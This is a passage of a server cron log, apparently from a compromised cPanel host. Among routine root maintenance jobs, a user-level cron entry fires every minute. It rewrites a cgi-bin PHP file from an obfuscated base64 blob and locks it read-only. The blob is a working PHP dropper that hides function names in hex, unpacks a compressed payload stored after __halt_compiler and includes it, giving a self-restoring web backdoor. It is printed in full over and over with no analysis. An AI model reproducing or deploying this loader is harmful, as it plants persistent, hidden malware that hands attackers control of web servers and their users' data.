SwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:17:01 server CROND[28521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:17:01 server CROND[28522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:17:01 server CROND[28523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:18:01 server CROND[28911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:18:01 server CROND[28912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:18:01 server CROND[28913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:19:01 server CROND[29297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:19:01 server CROND[29298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:19:01 server CROND[29299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:20:01 server CROND[29683]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 11:20:01 server CROND[29685]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:20:01 server CROND[29686]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 11:20:01 server CROND[29688]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:20:01 server CROND[29697]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 11:20:01 server CROND[29699]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:20:01 server CROND[29700]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 11:20:01 server CROND[29695]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:20:01 server CROND[29694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:21:02 server CROND[30538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:21:02 server CROND[30539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:21:02 server CROND[30540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:22:01 server CROND[31005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:22:01 server CROND[31006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:22:01 server CROND[31007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:23:01 server CROND[31453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:23:01 server CROND[31455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:23:01 server CROND[31454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:24:01 server CROND[31838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:24:01 server CROND[31839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:24:01 server CROND[31840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:25:01 server CROND[32219]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 11:25:01 server CROND[32222]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:25:01 server CROND[32230]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:25:01 server CROND[32232]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 11:25:01 server CROND[32240]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:25:01 server CROND[32243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:25:01 server CROND[32244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:26:01 server CROND[601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:26:01 server CROND[602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:26:01 server CROND[603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:27:01 server CROND[1237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:27:01 server CROND[1238]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 11:27:01 server CROND[1243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:27:01 server CROND[1244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:28:01 server CROND[1640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:28:01 server CROND[1641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:28:01 server CROND[1642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:29:01 server CROND[2039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:29:01 server CROND[2040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
